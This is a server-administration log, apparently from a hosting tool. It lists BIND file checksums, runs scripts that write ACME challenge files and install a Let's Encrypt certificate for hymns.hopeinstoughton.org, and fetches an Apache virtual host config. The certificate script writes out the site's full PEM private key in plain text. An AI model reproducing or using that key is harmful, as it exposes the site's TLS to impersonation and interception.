MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-16 06:00:02: Establishing a connection
2026-07-16 06:00:02: Establishing a connection
2026-07-16 06:00:02: 

PUT: /tmp/pkp757481

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-16 06:00:03: 

chmod 755 /tmp/pkp757481; /tmp/pkp757481; rm /tmp/pkp757481

2026-07-16 06:00:03: 


1


2026-07-16 06:00:04: Establishing a connection
2026-07-16 06:00:05: 

PUT: /tmp/pkp788465

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > P-vTO7lfF02Kkh0WzmjrQlnFpBxkmpPXwadMpQprwxk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P-vTO7lfF02Kkh0WzmjrQlnFpBxkmpPXwadMpQprwxk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P-vTO7lfF02Kkh0WzmjrQlnFpBxkmpPXwadMpQprwxk


2026-07-16 06:00:05: 

chmod 755 /tmp/pkp788465; /tmp/pkp788465; rm /tmp/pkp788465

2026-07-16 06:00:05: 




2026-07-17 06:00:02: Establishing a connection
2026-07-17 06:00:02: Establishing a connection
2026-07-17 06:00:02: 

PUT: /tmp/pkp931985

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-17 06:00:03: 

chmod 755 /tmp/pkp931985; /tmp/pkp931985; rm /tmp/pkp931985

2026-07-17 06:00:03: 


1


2026-07-17 06:00:05: Establishing a connection
2026-07-17 06:00:05: 

PUT: /tmp/pkp154865

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > pINmdBLOymIXGhvw7yuNiekzhnte6R9PLCgBsx3oZfg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pINmdBLOymIXGhvw7yuNiekzhnte6R9PLCgBsx3oZfg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pINmdBLOymIXGhvw7yuNiekzhnte6R9PLCgBsx3oZfg


2026-07-17 06:00:05: 

chmod 755 /tmp/pkp154865; /tmp/pkp154865; rm /tmp/pkp154865

2026-07-17 06:00:05: 




2026-07-18 06:00:03: Establishing a connection
2026-07-18 06:00:04: Establishing a connection
2026-07-18 06:00:05: 

PUT: /tmp/pkp931835

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:00:06: 

chmod 755 /tmp/pkp931835; /tmp/pkp931835; rm /tmp/pkp931835

2026-07-18 06:00:06: 


0


2026-07-18 06:00:41: Establishing a connection
2026-07-18 06:00:42: 

PUT: /tmp/pkp233427

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
c3:d5:86:22:38:15:93:50:27:32:de:67:14:fc:ea:9e

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBRIWKoLVjfZPu5myWPsTvcl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMjExWhcNMjYxMDE2MDUwMjEwWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAvIWQNJ5xce+tgb+iTTFvBsf3+oE7cseVTQDysmNqd9L9759w
Ufx61AjhO2wrZkSQF0awfuQZmT0dzykYaZMAm2KzDeAg4keyBrnz2hmxPCZgQZEj
AFtwoKG2c70rSFyyV4q7l5UIRnEUEBVlXZTXMx6YNDt6OSmr8P3uQylUHgMFnMll
D5R7SQ2g0bI+DfsG53Et8MEWqxpjk7RJWFQfyEMCthGL8xLde0si+NVrwLETRRG+
oDAiUuOypt4d/SqXkOE1VeLFM/Oor3QMAzdSrkKHG4md920cjOJBJXvaBdizmrNo
zjRC3plxpZEFyVY9yt8KPJUcTQ1frEQwI0bEyQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEa3QvG6TYjzRyrK4kSfDzfLcpQOMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzEyNi5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9z0Aey
AAAEAwBIMEYCIQC5Gl65pKxYm8cYjpq3kRxgVuSlt9jx/IdlvZWw4aL2KAIhAOvF
TV5I5/a9VBklG16Dv5Dups1e/SZLNkfULKwkuPnJAH4ARq+GPTs+5Z+ld96oJF02
sNntIqIj9GF3QSKUUu6VUF8AAAGfc9AIHAAIAAAFAA1y6NAEAwBHMEUCIQD60G//
g42k67Jp9l5iQm/EX2WlitGHM7OHIg15u45mhwIgO9Xt9PGMAEtqJppFPT6x7/7u
ZuiCk6Xy2z/qE2yixJ0wDQYJKoZIhvcNAQELBQADggEBACa606DhcxI9kX4CpnKX
KNjUzbqe9FzOyVVRTkJD6c8yef7Ad+iA9hSDA2W/4TTH5hr74K05S80XV+fRipQ3
6ezOIucjBg44wdF97I5ZF6QbzRCMFGVSrnRXSTEyjBz0uTB67PDPhyMeBxS28n4t
M7iHK/9/2yuvX1Dr3pCFnHZd4tOb5pqql6N9dHQg2cTU1/o4HhnvadedUUh5qPZK
JBslvElF5znC+HBIIzIMo0/sSJCfWB3v+Dr1Y7HTjDaf5M5bsVyeRmHlt3gXyE0O
vyO+Fa6VgRlad2YAd+CMaMpUCf2y4erq7TW9Jlr5i2IYesaMJEPB9W8fesPja/pR
2Pc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8hZA0nnFx762B
v6JNMW8Gx/f6gTtyx5VNAPKyY2p30v3vn3BR/HrUCOE7bCtmRJAXRrB+5BmZPR3P
KRhpkwCbYrMN4CDiR7IGufPaGbE8JmBBkSMAW3CgobZzvStIXLJXiruXlQhGcRQQ
FWVdlNczHpg0O3o5Kavw/e5DKVQeAwWcyWUPlHtJDaDRsj4N+wbncS3wwRarGmOT
tElYVB/IQwK2EYvzEt17SyL41WvAsRNFEb6gMCJS47Km3h39KpeQ4TVV4sUz86iv
dAwDN1KuQocbiZ33bRyM4kEle9oF2LOas2jONELemXGlkQXJVj3K3wo8lRxNDV+s
RDAjRsTJAgMBAAECggEAR6I+yee8tqz6kndFTiyvAfYhEZRiiPoyjpiCH+urzI0l
RZShYt3btE8Nen1fPlRmJhoLvaOh4Hr7JTj52D/t9p056VdVV3YjvO+Sq7iggnkY
kUF7ecrFEJxyDid+11e1wpLqNi6Afve/xl7C7hy86uVAs3Q4PJlLht6OVwHQvzgB
uDevxx4F5w5d7HFO0x4NiYl3g1KgdyDmUDBfZYciTJ8uyeWPwzJlx639aC0jYzz9
sZNZmnt/10QoWHs1H7BeZMKCdL7c5UdPAxQtvOywZLXJMf2A1zGg3fkfSRQAj4sw
ZXbnaqDjIp0JYLUU6QKM+SQLLFVRH+7P+cHcHfVvewKBgQD1+VuySYWdVcIbMMId
zoOJ1nrCEFXvuubycBsINL6ORHA3WK/DBLD+NdfC4KF9Yxyta+ITDXAUmC5OXX8A
GIRCzD8P4bhulb4xE5lumiBbb1ech0clV7/0+rTiABm1fdOzZeIhs+P037XWzE2N
e9K9JQtGfwX5TQJ3Vat5bBT6mwKBgQDENLZ/MgBHgrxKJ7fIfiALY1jiM+GWCaqG
8oZT8oxC9k1+TJs9GpXGzcrzWZq1+GDpI9Boa5ZO2IlIqu8pDFIYXwlGIv7iCQBi
CtX8T2PmFDztPnXAAbUpgfx3c4T3D9+ffVh481v66sY5dn4rBXC7M4HcIZmWPMh+
dS53EstyawKBgHLloNyeFUjSJ1J2KyarMaxwQHVoFgxeXMTAcxAZOy3PcC+aQLey
+E42rmt8bFLauimT7E2ECGfGUlMOv2U3Doj5STfM807MqcPY6OHOIvEzCFS4qBYc
cDEp7tZmv5uUhBAXtlKR6hiXayRD2LIPNfheVm7+pLa4Lz+5B9k3EHGjAoGBAIUd
Oj97feMGWJZ68d4ta7IuOcxl5IO1lSMvAWGM6go4LoUkliHTmpAhaLLHNQaGN8GU
0b02WOivUhyiE9YmjMAKIjGaZpCWCNN7hIhEmIMtcdSHjr2wquc5UD7+edRgyZfc
I50ThnDqvYeY06p+a2gmXtEpXpkmLeRVvit87dh3AoGBAK0I5zRYZmU9sIscz7dD
Nckl62Dh4vCaxrTFuMz0frBtodLAhvun0SeJ2oLfmdGMIOTEUkCq/t1frUJXJFmw
r9BaspUvTKNHHT9Q3qNsWI8NtNNRbrmFJ/KiKnMksH7UE8fZVtZ+rCbsaZGcgGFg
ourCmg5RtoKnGIfZpDqfevkY
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:00:43: 

chmod 755 /tmp/pkp233427; /tmp/pkp233427; rm /tmp/pkp233427

2026-07-18 06:00:43: 


dir=/etc/ssl/certs


2026-07-18 06:00:43: 

PUT: /tmp/pkp916896

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:00:44: 

chmod 755 /tmp/pkp916896; /tmp/pkp916896; rm /tmp/pkp916896

2026-07-18 06:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
